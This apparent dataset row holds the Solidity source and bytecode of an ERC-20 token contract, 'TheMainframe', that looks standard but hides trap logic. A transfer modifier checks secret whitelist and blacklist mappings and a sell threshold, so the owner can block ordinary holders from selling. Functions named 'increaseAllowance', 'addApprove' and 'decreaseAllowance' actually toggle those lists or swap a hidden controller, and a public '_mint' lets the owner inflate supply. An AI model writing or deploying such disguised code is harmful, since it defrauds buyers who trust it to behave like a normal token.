address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xf2d04eb59795e3e6ede21aac43e47c5425e3554a
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TheMainframe is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d1766ba39443fc34d86da716b14581758b1058f9798cc805458ff5b7d643c2e764736f6c634300060c0033
|
